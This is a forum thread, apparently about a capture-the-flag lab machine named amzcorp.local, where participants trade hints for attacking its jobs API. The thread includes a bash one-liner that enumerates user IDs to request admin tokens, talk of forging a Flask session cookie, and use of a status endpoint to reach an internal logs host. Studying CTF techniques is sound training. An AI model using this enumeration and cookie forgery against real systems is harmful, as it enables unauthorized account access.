Posts: 132 Threads: 0 Joined: N/A (July 13, 2022, 03:58 PM)teksius Wrote: (July 13, 2022, 11:45 AM)fironeDerbert Wrote: How are we supposed to use the token ? Is it a cookie ? a loalStorage ?
In cookies: api_token Does anybody able to edit user? Hi, sorry to bother you but what page/api endpoit are we supposed to load with this cookie added ? Posts: 132 Threads: 0 Joined: N/A Even with the cookie nothing changes... This page http://jobs.amzcorp.local/api/v4/logs/get still return "Unauthorized Access!" Posts: 1 Threads: 0 Joined: N/A July 14, 2022 at 10:31 AM Found: http://jobs.amzcorp.local/api/v4/status { "site_status": [ { "site": "amzcorp.local", "status": "OK" }, { "site": "jobs.amzcorp.local", "status": "OK" }, { "site": "services.amzcorp.local", "status": "OK" }, { "site": "cloud.amzcorp.local", "status": "OK" }, { "site": "inventory.amzcorp.local", "status": "OK" }, { "site": "workflow.amzcorp.local", "status": "OK" }, { "site": "company-support.amzcorp.local", "status": "OK" } ] }
Posts: 132 Threads: 0 Joined: N/A (July 14, 2022, 10:31 AM)kaerbannog Wrote: Found: http://jobs.amzcorp.local/api/v4/status
{ "site_status": [ { "site": "amzcorp.local", "status": "OK" }, { "site": "jobs.amzcorp.local", "status": "OK" }, { "site": "services.amzcorp.local", "status": "OK" }, { "site": "cloud.amzcorp.local", "status": "OK" }, { "site": "inventory.amzcorp.local", "status": "OK" }, { "site": "workflow.amzcorp.local", "status": "OK" }, { "site": "company-support.amzcorp.local", "status": "OK" } ] }
You can use the method POST on the status endpoint Posts: 40 Threads: 0 Joined: N/A Its a flask cookie. So I'm assuming we need to leak the flask secret somehow and then forge a cookie? Posts: 23 Threads: 0 Joined: N/A query the logs domain
{ "site": "http://logs.amzcorp.local/", "url": "http://logs.amzcorp.local", "scheme": "" } Posts: 40 Threads: 0 Joined: N/A (July 15, 2022, 01:30 AM)mceye Wrote: query the logs domain
{ "site": "http://logs.amzcorp.local/", "url": "http://logs.amzcorp.local", "scheme": "" } Where did you find that subdomain? I found jobs, cloud, workflow, company-support and inventory so far. Posts: 24 Threads: 0 Joined: N/A [quote="hacker1111" pid="146001" dateline="1657645911"][code]for i in {950..975}; do echo -n '{"get_token":"True","uuid":'$i',"username":"admin"}' | base64; done | xargs -I{} curl -s -X POST "http://jobs.amzcorp.local/api/v4/tokens/get" --cookie "session=" -d '{"data":"{}"}' --header "Content-Type: application/json"[/code][code]Early Access Flag[/code][/quote]possibly it will be easy, but I need to understand how and why :( Posts: 23 Threads: 0 Joined: N/A (July 15, 2022, 01:34 AM)ryzen Wrote: (July 15, 2022, 01:30 AM)mceye Wrote: query the logs domain
{ "site": "http://logs.amzcorp.local/", "url": "http://logs.amzcorp.local", "scheme": "" }
Where did you find that subdomain? I found jobs, cloud, workflow, company-support and inventory so far.
function GetLogData() { var log_table = document.getElementById('log_table'); const xhr = new XMLHttpRequest();
xhr.open('GET', '/api/v4/logs/get'); xhr.responseType = 'json'; xhr.onload = function (e) { if (this.status == 200) { log_table.append(this.response['log']); } else { log_table.append("Error retrieving logs from logs.amzcorp.local"); } }; xhr.send(); } Posts: 6 Threads: 0 Joined: N/A (July 15, 2022, 02:36 AM)mceye Wrote: (July 15, 2022, 01:34 AM)ryzen Wrote: (July 15, 2022, 01:30 AM)mceye Wrote: query the logs domain
{ "site": "http://logs.amzcorp.local/", "url": "http://logs.amzcorp.local", "scheme": "" }
Where did you find that subdomain? I found jobs, cloud, workflow, company-support and inventory so far.
function GetLogData() { var log_table = document.getElementById('log_table'); const xhr = new XMLHttpRequest();
xhr.open('GET', '/api/v4/logs/get'); xhr.responseType = 'json'; xhr.onload = function (e) { if (this.status == 200) { log_table.append(this.response['log']); } else { log_table.append("Error retrieving logs from logs.amzcorp.local"); } }; xhr.send(); } ive been getting unauthorized access everytime ive tried since last night, any idea what im doing wrong? |